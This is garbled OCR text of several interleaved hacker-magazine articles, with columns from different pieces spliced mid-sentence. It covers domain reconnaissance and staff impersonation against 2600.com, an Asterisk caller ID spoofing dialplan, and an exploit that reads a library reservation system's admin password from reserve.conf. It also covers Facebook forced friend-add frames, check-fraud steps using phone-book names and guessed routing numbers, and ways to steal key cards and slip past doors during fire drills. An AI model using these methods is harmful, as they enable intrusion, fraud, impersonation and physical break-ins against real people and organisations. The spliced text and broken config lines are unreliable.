natures - they are a great source of precompiled
MIPS binaries. The same hackers have also seen
fit to share some individual pre-compiled bina­
ries on their site as well.

links
http:/ / www.hawkingtech.com - Hawking's main
product website .
htt p:/ / www.ucLinux.org - uClinux Embedded
Li nux/ Microcont roller Project.
http:/ / www. uciibc.org - t he lightweight Cstan­
dard library used in t he HNASl.
http:// zaphot.tmx24.de/board /i ndex.php - the
German NAS hacking BB .

So from t his we have some valuable informa­
tion:

• Waiting for t he domain to expire and t hen
snapping it up is out of the question (unless we
fancysitting around for three years).

• The domain was registered at www.network­
solutions.com.

• The domain has t hree domain nameservers:
PHA lSE.2600.COM, NS.NAH6.COM, NS2.NAH6.COM.

• The domain is "regist rar locked." This means
a commonly used trick where people submit a re­
quest to transfer the domain to the mselves in the
hope that it willgo unnoticed and be tra nsferred
to them automaticallyafter two weeks is not pos­
sible.

From here we could go and Whois NA H6.COM
and I have. It isn't included in this article be­
cause I kept going and went through about four
domains until I decided to stop. It does resuLt in
some interesting resuLts and furt her pote ntial
angles of att ack; think of this as an exercise for
you after you've read this article. If you like. The
problem here is you could literally go on forever,
you maycracka domain sixWH0I5s downthe Line
that afte rwards, you realize has no relationship
with 2600.com.

Next?
Domain Resolution

Finding out t he IP addresses behind the do­
mains can result in some valuable or just inte r­
esting information. So that's what we're doing
next. Again anothe r free online service
(dnsstuff.com ). The results:
www. 2600 .com -+ 2 0 7. 9 9. 3 0 . 2 2 6
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2600 . com -+ 21 6. 6 6. 24. 2
pha1se. 2600 . com -+ 216 .66. 24 .2
ns .nah6 . com -+ 82 .94 .252 . 2 5 2
ns2 .nah6 . c om -+ 213 .193 .213 .210

(Remember, www.2600.com and2600.com
are not the same thing. The domain resolution
shows this.)

Probably one o f the oddest collections of IPs
related to one domain I've seen. What does it te ll
us?

• 2600.com and www.2600.com are probably
located on different servers.

• All of the domain name servers are probably
located on different servers.

• The primary DNS server and 2600.com are
probably located on the same server, so if we
were to gain control of 2600.com (216.66.24.2)
we could control WM¥. 2600. com simply because
we could change the domain records. Whereas if
2600.com did not also host its own domain server
we would not.

I say probably because it 's possible that two
totally different IP addresses could point at the
same server. It 's just not probable... at all.

Because we can, let's do some reverse domain
resolution (look up the domain based on the IP
address). This could open up some more interest­
ing things about 2600.
207 .99 .30 . 22 6 -+ -
216.66 .24 . 2 -+ phal s e .2600 .COM
82 .94 .252 . 252 -+ ns.nah6 . com
ns2 .nah6 . c om -+ invade r . f actory .org

• 2600.com's IP doesn't resolve back to
2600.com. Not unexpected.

• It's a little odd that t he IPfor 2600.comand
phalse.2600.com would resolve to
phalse.2600.com, seeing as it wou ld make sense
that the actual domain is more important . How­
ever, this could be for DNS reasons.

• The third name server's IP address resolves
to a completely different domain!

Some interesting results add to the confu­
sion. Are the folks at 2600 incredibly disorga­
nized or is t his some cunning schemeto throw off
potential atta ckers? From here we could go back
down the WHOIS road and investigate nah6.com
and factory.org, but we're not going to. This arti­
cle is going to briefly consider various types of
fact finding "att acks" but not delve into too much
detail on them. Yo u can do t hat!

Their Domain Provider
As found in the WHOIS stage 2600.com was

registered by Network Solutions. What does this
mean? It means the owner of 2600.com pur­
chased it by using Network Solutions. What does
this mean? Let's go to http:/ /www.networksolu­
tions.com and find out! I can't really put in a
video of my poking around on that site because
this is an article, so I'll detail what I found and
what it could mean.

• Network Solutions has an "Account Man­
ager" and a "Log in" section to their site. This is
common with domain providers and from this we
can assume that t he owner of 2600.com has an
account. From this account it is very likely that
domain information can be changed. Gaining ac­
cess to the 2600.com Network Solutions account
would mean being able to point 2600.com (and
www.2600.comandanything .2600.com) wher­
ever we pleased. This is a possible attack point .

• There is an "I forgot my password" option
where the domain for which you forgot t he pass­
word can be entered. This fantastic example of
corporate security gives us the full name of the
domain's primary contact and technical contact.
Further perusal of this alsoappears to give us the
User10. This is nowan option for a possible brute
forcing attack. I won't give the User 10 out here
as Network Solutions may have fixed this problem
by the time you read this and I do actually want
to have this article published.

TheSocial Engineering Approach
So now we've got some information. Notthat

much information, but we know our ta rget . So
what next? Personally I'd go out and buy a few
2600 magazines. I'd also star t listening to the
weekly radio show (Off the Hook) that some of
the 2600 staff are involved in. I do this anyway,
and these are some of the possible atta cks that
could come from this. They're all fairly over the
top, but you never know.

• Just from listening to the show, various
mannerisms and familiar sayings that each indi­
vidual uses could be used in emails when pre­
tending to be one. A familiar saying used by a
person at the end of an email can confirmits va­
lidity to the reader.

• One of the show's presenters is recently
back from traveling. This was announced on the
show before he left. At such a time it would be
easier to impersonate him by email, for example,
with the explanation that he can't access his cur­
rent account from abroad or something along
those lines.

• Off the Hook has been experimenting wit h
Skype lately. More fact finding could be done by
finding out their Skype account and ta lking to
them, or impersonating one of t hem .

• The inside cover of every 2600 magazine
lists staff members names and what they do.

I've skimmed over a few social engineering
possibilities here. You really ought to read
through Kevin Mitnick's Art of Deception for a
better idea of this.

The possibilities are fairly limitless, and even
if you don't hack the Gibson it's all very inte rest­
ing and certainlya learning experience.
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Direct In uiord

by iSEPIC
I wanted to share with th e community a solu­

tio n to some of the goals I had for outbound call­
inq (after dia ling into a box) using Asterisk. t he
open source PBX softwa re, as well as th e leqiti ­
mate need for Caller ID spoofing. I was inspired
by the cidspoof.agi script th at you can find out
there in the wild. But I was thinking to myself
that t his can be accomplished wit hout the com­
plexity of that script. There is the assumption
here that your outbound t runk (VoIP provider)
will allow you to change the outgoing Ca lLer ID
and (yes. some act ually do) the outgoing ANI.

MyAsterisk system includes:
1. Two inbound numbers. one for me and one

fo r my roommate.
2. When my roommate dials out (VoIP) from

his extension. the Caller 10 is his number and t he
same applies for me.

3. While out, when we calLfriends from our
cell phones, our number is blocked, because we
want people to use our VoIP numbers to get a
hold of us (incoming Asterisk calls are routed to
our extension and cell phones per DID).

4. Some people don't like "blocked numbers"
(myself included).

5. We have two VolP providers Gust for
backup) and one PSTN line (a regular old te te­
phone line). The PSTN line doesn't really do much
- it ju st has metered servi ce and 911 for about $5
a month but it has unlimited inbound for free.

6. I'm running Asterisk 1.21 and Asterisk at
Home version 2.1.

7. I have a silent auto-atte ndant on t he Aster­
isk's PSTN line, with the ability to press * * or
***. (One wilLlet mecalL out and have the system
spoof the proper Ca lLer ID I want and the other
wilLallow me to dial out using any outbound
Caller IDI enter.)

So I made some goals:
1. Allow each of us to dia l in using the PSTN

number and dial out using one of the VoIP
providers.

2. When we do t his, I want the Caller IDs to
match. I don't want people he calls to see my
number, nor do I want t hem to see t he PSTN
number (hence onLy diaL out via VoIP providers
who allow you to spoof your 00).

3. I also want to beable to spoof any number
so I can play tricks when I'm feeling silly (you
know, to your friends, not to t he bank, etc. ).

4. I reallydon't like the dd spoof.agi script out
t here. I know this can be done a lot easier.

So, for my AutoAttendant I have option * *
and ** * and they point to a custom like custom­
dtsa.s.t and I also pLaced these in my from-inter­
nat-custom so I could tes t from one of my
interna l extensions.

For those who don't know, VMAut henticate
wiLL ask for a mailbox and password. This is how I
identify myself or my roommate on t he DISA so I
can make his or my CalLer ID match who we are.
Also, this alLows t he password to remain hidden
(both here in t his text and in the logs - I think!)

PLace the foHowing in your extensionsjus.
tom.conf file. As of today, VoIP providers that I
know of that allow you to change your outbound
Caller IDinclude, in no particuLar order: nufone,
t eliax, iax.cc. voicepulse.

* [ f r om- i n t e rn a l - c us t om]
exten => **, I,Answe r
exten => **, n, Go t o ( c us t om- disa,s ,l)
exten => ** ,n, Hangup
e xt e n => * * * ,I,Answer
exten => ***, n , Go t o (c us t om-spoof , s,l )
exten => ***, n, Ha n gu p

[custom-disa ]
exten => s, l ,A nswer
e xten => s , n ,VMAuthent icate( ) ; Au t hen
..t i c a t e us ing the voicemai l s ystem,
person e nters t hei r e xtension a nd pw
e x t e n => s ,n ,Goto l f($ ["${AUTH HAILBOX} "-= " 2 000 "] ?s 11000) ; if per;on who
owns ma i lbox 20 0 0 was authent i c ate d
" abo v e , goto 1000
exten => s , n ,Gotolf(S ( ~S {AUTH MAI LBOX} "
-= M2 0 01" ) ? s I2 00 0 ) -
exten => s , n , Co ng e s t i o n
e xten => s ,lO O O ,SetCal lerID( " Personl ~

- <00 0 111 22 2 2> l a ) ; c hange c a ller 10 &

ANI to the phone n umbe r f or person 1
e xt e n => s,1001,goto(s, 3 00 0)
ext e n => s ,2000 ,SetCal ler1D( "Person2 ­
- <00 0 22 2 11 11 > l a ) ; c hange caller 10 s
ANI to the phone n umber f or person 2
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failover i f yo u r authe nt i c a t e f a i l s it

Forbes article on the subject of criminalcomputer
hacking.

Think about it. It 's that type of mentality that
does t hat sort of thing. They want to be in controL
of somet hing. I'm a happy-go-lucky kind of guy
who is scared to have that kind of control over
someone else. I just don't want t hat sort of re­
sponsibility. Just let me go aLong and play with
computers, ham radios, and websites. Need to find
me? Give me a radio and a GPS receiver, and likely
as not I' lL let you track me by ham radio over the
Internet . Consider too, I'm usually seen wearing
shirts or jackets embroidered with my ham radio
call sign. How many illegal activities do you sus­
pect I'll pursue wearing a federally issued 10 code?

Look at what ham radio allows me to do. I can
crawl around the packet radio data network to my
heart's content , do unspeakabLe things in the way
of routing and finding holes in the network, and
when I report them to the network operators or
publish how to go about the things I do, people
thank mefor it! I have found a home in ham radio.
I wo rked in Homestead following Hurricane An­
drew. I had so many assignments with last year's
flurry of hurricanes, I've lost track of them aLL. Re­
member the wi ldfires across Florida a few years
back? Ma ny areas couldn't be reached from the

exten => s , 20 01 , go t O( S , 3 00 0 j

e xten => s,300 0 , P l ayback (outside- trans f e r )

e xten => s , 3 00 1 , OI SA( no-pas s wo r d I from-int e rnal )

( c us t o m-spoof ]
e xten => s , I , Ans we r

e xten => s ,n, VMAut hent icate ( ) As ks for the VM bo x number, a nd PW
exten => s , n , Di g i t Ti me ou t ( S )

e xten => s, n , Re s po ns e Timeou t ( 2S )

e xten => s, n , Re a d ( Se c r e t,pl s - e n t - n um- t rans f e r , 10) inpu t 10 t o uc h t ones,
p l ays t h i s s o und fil e

e xt e n => s, n , NOOp ( S{s e c r et } )

ext e n => s,n ,Se t Ca l l e r I D( nSp oof n<S{Secr et }> la ) t h i s set s you r o ut bound

CI O and ANI ( Ia)

e xten => s , n , Pl a yba c k ( p l s -en t r - n um- uwi s h 2- c a l l )

exten => s;n , DI SA( nO- password l f r om- i n t erna l ) DISA rout i ne, and cont e xt
you with t o d ia l f rom

e xten => s , n,Hangu p

e xt e n => s, 102, P l a yba c K(g o od bye j

goe s t o +10 1

e x t en => s ,103,Ha ngup

Greetz to BrothaReWTand biOmetric.

What is a hacker, anyway?
All a compute r hacker reallyis is someone who

hacks away at a computer keyboard until it does
what they want it to do. That' s all! Neat and sim­
ple, Acracker. on t he other hand, is someone who
hacks past t he bounds of propriety and "cracks"
into system security. The press has usurped our
riqhtful tit Le and handed it off to these 14-year­
old twerps that crack into computer systems.
Usurped - to unjustly steaLwhat rightfully belongs
to someone by caveat or fiat . As in, "The young
prince, with t he aid of the Prime Minister and the
army, usurped the throne from his father."

"Hacking away at the keyboard" means you're
exploring. You're not taking t he manual for
granted but testing out what the computer can do,
to see wherethe network can take you. To seekout
new life and new cyber civiLizations. But while
the re aresome limits to where the network goes,
the imagination of the hacker can take him (or
her) far beyond those Limits mentally. That's what
makes it fun, and interesting.

I was once asked at a 2600 meeting what type
of person becomes a cracker or writes computer
viruses? I replied, "The playground bully has
moved indoors and learned how to type." That
quote turned out to become t he headline in the
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regular radio towers. Ham radio was called upon
again and I worked Hog Valley Firebase, as well as
the Fire Control Center.

The ones with the time to play those "nasty"
types of games on computer networks are usually
kids, though headlines about how much money is
controlled by computer has led "professionals" to
get into t he games. But for kids, computers pro­
vide the kind of "int ellectual challenge" that my
generation of hackers found as phone phreaks.
when the only networkwe could play with was the
phone system. But that came into our homes with
a telephone instrument that led to a great wide
world out the re. And t hey wouldn't tell us howto
get around behind the scenes, so we had to find
out for ourselves.

But people can't get over their prejudices and
so they equate me with the "black hat" hackers
t hat send viruses out th rough the ematls and they
don't know how far they can trust me. Actually,
even if I get screwed over, I'm not going to do
much. I worked for a "major Manhattan bank" for
t hree years and was fired after an article cameout
in Technology ILlust rated about "that hacker."

Yo u have to realize that I was hired to be a
computer programmerfor t he communications de­
partment of t his bank. The regular programming
department didn't have the time to deal with t he
sllly Litt le probLems of breaking out the monthly
telephone and telex statements that came in on
mag tape each month. I wrote programs t hat split
out the calls by area code and country code so we
couLd see where the phone calls went each mont h
and see if it wo uLdn't be cheaper to buy Leased cir­
cuits to various parts of the worLd to lower com­
munications costs.

Of course, there was also the understanding
tha t if the teLex circuits went out again (as t hey
had a few month before I was hired), that I wo uld
be able to help them get banking messages out via
"ot her means." They had lost millions on the telex
outage.

They bought me a TWX teletype line and a TWX
te Letype machine to go with it. It meant t hat if the
telex circuits went out we couLd send messages
via the TWX circuits as well. Since TWX machines
can be reached via teLephone circuits (something
AT&T never admitt ed), the bank would be able to
get importa nt messages out if t he telex switch
failed but the phone network was still up. (See my
te lex stories at http:/ /www.CheshireCatalyst
- .Com/ telex.htmLfor more details.)

Welt, after I left, someone sat down and actu­
ally Looked at myprograms (something the syste m
administrators could have done any time during
the th ree years I was there). They were amazed at
the clarity of my weLL-documented code and how
well it did its job (I was toLd later). My stock as a
programmer went up considerably within the com­
pany. So a couple of months later there was a rna-

jor system crash. They had no clue what caused it,
but in their paranoia they figured I must have left
a "logic bomb" in the machine. I didn't of course,
but I was grateful they thought I had the program­
mingskills to pull it off.

I'm really not that good a programmer and t his
wou ld have needed much more knowledge of sys­
tem inte rnals than I had. ALL I can realty do is "pid­
dle"in BASIC- the Beginners ALL-purpose Symbolic
Instruction Code. And the bank had PDP-ll com­
puters. so I didn't even have to learn a new "fla­
vor" of BASIL BASIC began life at Dartmouth
College in Hanover, Vermont. It found its way onto
various timesharing computers and in t he 1970s a
young punk kid named Gates created a version for
the Alt air 8800 computer made by the MITS com­
pany of ALbuquerque, New Mexico. He got hired on
as t he chief programmer and proceeded to ta ke
Basic PLus under RSTS/e (Resource Sharing Time
Sharinq Extended) from PDP-ll computers and re­
work it into "Altair Basic" I'd been programming
on PDP·lls running RSTS/e and recognized it im­
mediately. Needless to say, this eventually became
Microsoft Basic I still keep a copy of Ilbasic.exe
around in my / temp directory for emergency file
hacking. I find it easier to write a quick program
to find and replace things in large files.

look, I know guyswho are much better at pro­
gramming tha n I am. Of course, I've got sLightly
bett er "people skills" than t hey've got so it all
works out. The t hing is, my reputation far and
away exceeds my actual skill as a hacker.

It's t he thought processes more than anything
else t hat set a hacker apart from most people. It's
the ability to Look criticaLLy at a probLem. Wh en
everyone says "it can'two rk likethat" t he hacker
knows the logicof the situation says it can.

I grew up in Rochester, New York, the home of
Frontier Com munications, direct descendant of the
Rochester Telephone Company that I grew up wit h.
RochTe l was the largest independent telephone
company in the country at the time (independent
of The Bell System - AT&T and its wholly owned
subsidiaries). When the TWX teletype network was
set up, it used spare capacity of the te lephone net­
work but AT&T said it was "completely separate
and distinct from the telephone network." That
wasa load of crap.

Using SACs (Specia l Area Codes) t hat ended in
zero (';10, 610, 710, 810, and 910), the TWX (Tele­
typeWriter eXchange) Network was set up with
Model-33 teletypes containing Bell 103 modems
and a telephone dial. They worked great as dial-up
terminals for remote timesharing systems (which
is what I started tooking for when I found TWX ma­
chines). but the TWX charges were by t he minute
and quit e expensive for thei r time. It was a busi­
ness service, after all.

But I looked into it further. Furt her than The
Phone Compa ny wanted me to look. It seemed ab-
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surd to me that a large, independent telco wo uLd
build a whole new telephone exchange just for a
Ma Bell playtoy. It didn't ta ke long for me to find
out t hat the 510-523 TWXexchange translated to
the 716-235 exchange and used the same last four
digits as the TWX number. I could use a dial-up
computer termi nal and send TWXmessages to any
TWX machine in town. I started by sending myself
a message via t he local tr uckstop.

After getti ng a nationwide TWXdirectory from
t he phone companyand doing a little experiment­
ing, I had a list of more t han 40 cities where I
couLd directly diaL the TWXmachines of companies.
If I wanted a cataLog, I'd zap the company a quick
message and it would show up in the mail pretty
rapidly. I must have been from a Large firm myse lf
if I had a TWXline to send t hem a message with.
They didn't knowI was just a kid with a dial-up ter­
minal.

One of the places on my list was New York City.
When I had a press release to get out, I simplysent
it to the TWXmachine of the newspapers, AP, and
UPI.This thing had uses!

No programming skill - just a kid wit h an atti­
tude and a crush on technology. And, of course, a
critical Loo k at the "logic" of expLa nations people
were giving me. I compared t hat to what I found

- by Henry Q. Buther ~
This article is for informational purposes only,

In no way shouLd this information be used to de­
face any Library that uses t his system.

PCReselVation is a syste m used by public li­
braries to give its customers t he ability to make
reservations online to use a pubLic computer at
the library. To find out just how many Libraries
use this system, search for "Web Module for
PCReservation" on any major search engine and
you'LL see. Unfort unately this syst em is also very
easy to expLoit.

First we have our t arget 's main reservation
page where people can submit t heir reservation
to use a compute r at the library. This might be
www.myfakeli brary.org/pc res/reserve.pl. From
t he url we can see that they sto re their PC Reser­
vation files in the www.rnyfakelibrary.orq/p cres/
directory (obviously not all sites will store their
files in t he same location - just look at the reser­
vation page's url to find t he directory). This di­
rectory contains:
ca n c e l. jpg

c o n figure . p l

c o nfir m. j p g

the technology to be showing me - and, from that,
concluded what was actually possibLe.

Then t here's how a hacker looks at Rules. For
example, I haven't worn white underwearin years.
What 's t hat got to do with anything? The Rule my
mother taught me was"Never mixyour whiteswith
your coloreds." She wasn't being racist, she just
didn't want the colors to run in the laundry and
stain my white clothes. I simplydon't want to do a
second loadof laundry, so if I have colored undies,
t hey go in the one Load of wash with everything
else. As you can see, hackers can lookat probLems
differentLy from most people.

The thing is, Like most hackers, I'm bright . I
can Look at a situation and "grok" what it's about.
"G rok" is a Martian word from an old science fic­
tion novel that means "to thoroughLy understand
something." I tend to Laugh at jokes quicker than
ot her people and even find humor in situations
others can't find humor in because I'm usuaLLy
Loo ki ng at situations from a different "logic set."
Fo r the most part, peopLe think "Brig ht Hacker ­
Big Trouble."

I'lLadmit it. If I wanted to cause trouble, I
could probabLy cause it big time. ButI'm just this
guy, you know?

Reservation
home. jpg

location s .con f

l o o k up . jpg

pcr.jpg

qu ery. j p g

reserve. conf

r e s e rve .pl

Now obviously t he .jpg files are worthless.
but Let's see about the other files. Navigating to
htt p:/ / myfakelibrary.org/pcres/ configureopl
brings you to a page asking for a password and
which options you would like to edit , GeneraL Op­
tions or Branch Library List. We'LL come back to
t hese two options later. The question is where do
we get t hat password? We simply navigate to
htt p://myfa kef brary.orq/ peres/ reserve.conf
which should look somet hing like this:
p assword=ThEpA$s WorD

branch_ lbl =Branch Li b r a r y

home_page=http: //~l . myfakel ibrary . org

l ibrary_name =My Fake Public Li brar y

in s truction s =Th e se are t h e i n st r uctio n s

for p e ople wantin g t o reserve a PC.

cgi _dir=/

images_dir =/ i mages / p c res

msg_ time out =2 . 5
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We see that the password is "ThEpASsWorD".
Now we simply go back to http:/ / myfakelibrary
- .orgj pcresj confi gure.pl, enter the password,
and choose which option we want . Choosing Ge n­
eral Options allows you to change everything
listed in the reserve.conf file - t he password, the
Library name, the home page link, the instruc­
tions displayedon the main reservation page, t he
branch Label, the cgi directory, the images direc­
tory, and the number of seconds before message
timeout. Choosing t he Branch library List option
brings you to a listing of all library branches and
t heir IP addresses and port numbers. This listing
can also be found in t he Locations.conf fiLe. At
the bottom of the page you have t he option to ei­
ther add a branch or edit/delete a current
branch. These branches are what t he user want­
ing to reserve a library PCwill choose from.

Hackingthe
bySavage Monkey

For t hose not familiar with it, the Facebook
(facebook.com) is a social networking site for col­
Lege students and alumni having subsites for over
800 colleges and universities, chiefly in the U.S.
The site is said to be one of t he top ten most-vis­
ited sites on t he web and it is phenomenally popu­
lar among American college students.

In the past, t he site has had a number of secu­
rity flawsatt ributable to simple software bugs, in­
sufficient input validation, etc. I wilt not be
discussing these kinds of security holes here. In­
stead, I will focus on more subtLe tricks t hat rely
on using intended features to do more than t he
site creators intended.

As t he site is now designed, members register
by providing their names, a colleqe-affiliated
emaiLaddress, and their affiliation wit h the col­
lege (student, faculty, alumnus, etc.). The email
address must be at t he domain of one of t he
schools for which a subsite exists. When a user
registers, t he facebookthen emai Ls t hem a confir­
mation link at t he provided emailaddress, likeany
other membership-based website.

On ce the user is registe red, t hey can create a
profile, connect to friends at their own school or
others (friendship requests require the friend's
confirmation), send messages to other members,
"poke" people (who will receive a "you have been
poked by Mem ber X" message), join or start com­
mon-interest groups at their own school. publicize
and RSVPto campus parties, or upload photos.

By default. member profiles can be viewed by
ot her members at the same schooL, the mem ber's
confirmedfriends, and anyone to wh om t he mem-

As you can see, ta king advantage of this sys­
te mis very easy to do. Lib raries using t his system
do not have manyoptions when it comes to secu­
rity mainly because the file names Li sted above
are the same for alLlibraries. Creating an index
page in t he jpcresj directory (something which
should be done anyway) does prevent the curious
from gaining access, but it doesn't keep t hose
who already know the file names from getting in
- those who couLd have easily gotten the m from
another Library with an open directory or t hose
who workfor another Library.

The purpose of this article is not so peopLe
wiLL deface pages t hat use this system but so that
this expLoit can be brought to peopLe's att ention
and hopefully befixed.

Greets to xspel, eTD, and everyone who
helped me put my findings into article form.

her has sent a facebook message or a poke. This is
the least rest rictive option, alt hough more restric­
tive options (such as friends only) are possible.

So let' s say you want to see someone's profiLe,
but you're not in any of these categories and they
won 't add youas a fri end for whatever reason. One
option is to send them a message in the hopes
that they reply. If they do, you can see their pro­
file, except for their contact information. Simi­
larly, you could try poking them in the hopes that
they pokeyou back.

If you don't think they'd repLy to your regular
account, you can always create another one. It's
easier than you t hink. Of course, if your colLege
lets you set up a mail server on a subdomain of
your choice, you're goLden. Otherwise, lookfor MX
records pointing to the same mail server as your
regular mail server. For instance, if your email ad­
dress is joe@college.edu, you can probably create
another account using t he email address
joe@smtp.coLLege.edu, and maybe anot her at
joe@mail.coLLege.edu, etc.

Of course, in this case t he person may still fig­
ure out who you are. A sneakier trick is to use a
maiLi ng List. Almost every college or university has
one or several Mailman, Majordomo, etc. mailing
list servers set up. Many ofthese have old unmod­
erated maiLing lists t hat do nothing but receive
and archive spam. If you find one ofthese, have a
facebookaccount confirmation sent to it. It does­
n't even have to be at your college, and by doing
this you can gain access to profiles at whatever
schooLthe Listservis Located at.

Amore nefarious method is to trick a facebook
user into clicki ng on something that wiLl, byopen-
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The Price 01 Convenience:

ing a hidden or conspicuous frame on t he page,
cause t hemto add youto their friends List. There is
such a site at http://infect.La/face book.php which
opens several frames with URLs Like www.face­
book.cern/addfriend.php?id=x&co nfirmed=1
where x is a random number. If x is your user ID ­
easiLy obtained by Looking at the URLfor your pro­
file - and you can convince someone to go to this
page, they will have added you as their friend.
They may deLete you from their friends list, but if
youjust want to quickly examin e their profile, this

bySqueaLing Sheep
Our government has let us down again. They

had an opportunity to pass Legislation allowing
citizens to protect their identities byallowi ng dti­
zen-driven securityfreezes on their credit reports.
A security freeze wouLd prevent alterations to a
credit report without t he person's express con­
sent . Unfortunate ly, big bucks won over our
elected represent atives, citing the inability to is­
sue instant credit or post negative feedbackabout
consumers, and t he citizens are left to fend for
themselves when it comes to personal identifica­
tion safety.

The probLem is this is setting up every citizen
in our country to become a victim of identity
theft, a crimein which personal information such
as a name, address, or social security number is
misused to obtain goods and servi ces.

What our leaders fail to see is that - whether
the security freeze legislation went t hrough or not
- our information is being compromised every day.
There is not one lawmaker t ruly lobbying for the
protection of the citizens, t he very same citizens
electing t he lawmakers to office.

Open up your local phone book to the residen­
tial listings. Thousands of names, addresses, and
phone numbers are at your disposal. Untort u­
nately, it costs vigilant citizens money to keep
t heir identifyi ng information out of the phone
book. Citizens should not have to pay to prot ect
t hemselves. Let t he citizens wanting to put their
information on a billboard pay for that privilege.
Look at the business listings. Businesses pay for
the advertisements. Why shouldn't average citi­
zens? Because t he directory publisher won't be
abLe to quantify the number of residents in the di­
rectory's publication area and if the com pany can't
quantify the audience, it 's pretty difficult to con­
vince a business to buyadvertising space.

Using a phone book, a savvy criminal can ta ke

would be sufficient. You could also cause t hem to
add you as their significant other, poke you, or
send you an arbitrary message by playing with
URLs in similar ways. I won't give precise UR Ls , but
they should be obvious upon viewing t he source of
various facebook pages. If you trick someone into
sending you a message in this way, large portions
of their profiLe will be permanently readable to
you. Yo u might use a site like tinyurl to disguise
the URL.

Happyfacebooking!

just a nameand address, sLip it onto a check man­
ufactured through any financial software program
such as Quicken or OuickBooks available at a local
office suppLy store for a nominal fee, and in a few
seconds you have an identity t heft victim. Sure,
the criminal may not have an account num ber be­
longing to the name, but businesses and banks
don't always verify the information on a personal
check.

Depending on t he business, the routing and
account number don't even have to be legitimate
because the business doesn't subscribe to a check
service to verify check inform ation. Those busi­
nesses run the account number t hrough their own
database to make sure t he account hasn't passed
bad checks at their Lo cations. If you keep your
eyes open while maki ng your purchases, you'll be
able to figure out which businesses do this be­
cause they scan the check through their register,
not a separate machine located nearby. Some of
these same businesses have policiesto not ask for
identification, for fear of inconveniencing their
customers and losing business. Think grocery
store chains and big box stores.

If a business chooses to verify account infor­
mation, all a crimi nal needs to do is track down a
legitimate nine-digit routing number, wh ich signi­
fies which bank the check will be processed
th rough. It is possible to verify whethe r a routing
number is legitimate at http://yourfavorite.com/
_ checkwriter/ verify.ht m. If the criminal doesn't
have a routing number handy, it doesn't take long
to figure out a nine-digit number through the ver­
ification site. And if a crim inal doesn't have time
to manually figure out a routing number, lists of
numbers are posted online. It just t akes a few sec­
onds to run "bank routing numbers" through any
available Internet search engine. Add to t hat a few
numbers (usually ten, but can range from six to
eighteen) for an account number, which may or
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may not be connected to a real person, and t he
crim inal is in business.

Using pieces of information like this allows a
crim inal to commit a crime in a virtually untrace­
able manner, leaving the business, t he victims on
the check, or the bank absorbing the loss. Often­
times it's the business or t he bank because once
the identity t heft victim files a police report, t he
victim is reimbursed for any loss. And when a bank
or business absorbs a loss, doesn't it usually
trick le to consumers?

But phone books are just the beginning of t he
number of ways our inform ation is being compro­
mised .

Laws already in effect are allowing the use of
t he world wide web to obtain additional personal
information. An example of this is community no­
tification about sex offenders. Most laws are writ­
te n allowing law enforcement agenciesto post the
information on the Internet as a way to bypass
regular notification through physica l means. In­
formation about sex offenders can entail names,
ages, even addresses. In other words, more pieces
of information to manipulate .

Have you perused the website beLonging to
your local city, county, or state government lately?
Check it out and you may find your property
recordsor tax information available online. In our
governments' quest to put everything at the citi­
zen's fingertips, they're also allowing gaping

holes for our personal security to leak through.
Ca n you renew your vehicle tabs online? Does

it only take t he plate number and the last six dig­
its of the VI Nto access the file? Can you manipu­
late t he information on file, such as the address?
If you can change t he registration information on­
line, you can becom e the owner of just about any
vehicle on t he road. Once you're the owner you can
report t he vehicle stolen, leaving t he true owner
in a predicament when arrested for driving a
stolen vehicle. What if you were the person face
down on t he ground trying to explain to the Law
enforcement officer that you're driving your own
vehicle?

The number of identity theft victims is stagger­
ing and growing every day. Manyvictims don't find
out t heyare victims until they receive an overdraft
notice from their bank or apply for a mortgage and
find a number of outstanding accounts. The vic­
tims t hen contact the businesses, fill out affi­
davits, and file reports. Hours are spent on t he
phone and at t he post office. A file grows with
each lett er sent and received. Victims hope t hey
get the issue sett led in time to refinance t heir
home or obtain cable TV service.

The information is out the re. It doesn't take
much to use or misuse it in society today. Protect
your information with your life, because if your
identity is sto len, you will spend your life trying to
recover.

by Modman
modman@optonLine.net

Thisarticle willhighlight some of the holes in
the two most typical physical security measures
(security cameras and doors secured with key
cards). Many organizations will add these types
of technology enhancements witho ut amending
thei r security protocols or worse yet using t hese
tools as an excuse to cut back in personnel and
doing away wit h commonsense procedures. I
hope t hose responsible for security will be re­
sponsible and take heed.

First up, the ubiquitous key card. Ma ny orga­
nizations swear by this met hod of portal control
to such a degree t hat they lock down almost
every door from supply closets and bat hrooms to
t he front door. The fact of t he matt er is they love
t he feeling of security it gives to everyone every
time they walkth rough a door.

Most estab lishments are governed by fire
codes t hat require that when a fire alarm is
pulled all electronic contro lLed doors in t he vicin­
ity are released (in some states even detention
centers are covered by t his type of code). This is
t o allow t he fire department access to fight the
fire. During a drill everyone must leave the area
and they are directed to a safe location leaving
these unlocked doors unattended. Time for an
evildoer to do evil t hings.

A best practice for security would be that
when it is reasonably safe, a security agent
should position himself near sensitive locations
during a drill until the fire department can re­
lieve him . Note t hat a well placed security camera
can perform t his function if someone is lookin g
at the cameras. Most guards will be too preoccu­
pied with t he fire drill and t he fire trucks (the
most excitement t hey've had alL week).
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Obviously if you pilfer a card from someone
with access to the areas you need access to,
these Locks become useless. If you were to take
t he card from someone as they Left for t he day
and then drop it bythei r desk when you were fin­
ished, they'd find it t he next day and probability
wouLd never even report it . You wouldn't have to
worry about your key card donor gaining access
t he next day as most empLoyees wiLLgladly hold
t he door open for their fellow staf f member. If
you only needed access for a short period of
time, you couLd take the card before they Left for
lunch. Then you can almost always be assured
that t he card donor will both have someone with
t hemto let them in and t hat a report wilLnot be
filed.

The best practice for security is to be sta­
tioned at each egress and visually check each
person at t he beginning of each shift, lunch
time, and at the end of t he shift . This wouLd
highLight the missing cards. This must be fol­
lowed up with an inquiry of the database as to
where the missing key card was used and a report
to alert t he areas that were inappropriately ac­
cessed.

Now let 's turn our att ention to the almighty
security cameras. They are relied on way too
much by your typicaL security department. They
stick a camera anywhere t hey can fit one without
the support staf f necessary to monitor it. The
generaLwisdom is t hat they are deter rents alLby
t hemselves. Just t he mere sight of t hem makes
people behave. Well, t hat is the initial effect.
People get freaked out at first but then t hey ad­
j ust . People seem to be abLe to get used to any­
t hing, even Big Brother. Just ask any security
guard stuck in front of a monitor t he t hings peo­
ple do on camera. It 's amazing.

If you need to get by a camera, first see if
anyone is watching or if it is even real. Start
choking in front of one and see if anyone comes
to help. Do this on different shift s and make note
of t he results. Do not push this as it wilL get you
noticed in a bad way very quickly if t hey reaLize
you were faking. Ask a friend to heLp, that is, if
you have any. If t he camera is reaL and is being
monitored, t hen one has to be more creative. If
you are with security, trust your instincts. Log
your suspicions with t his type of behavior if you
feel it may be BS.

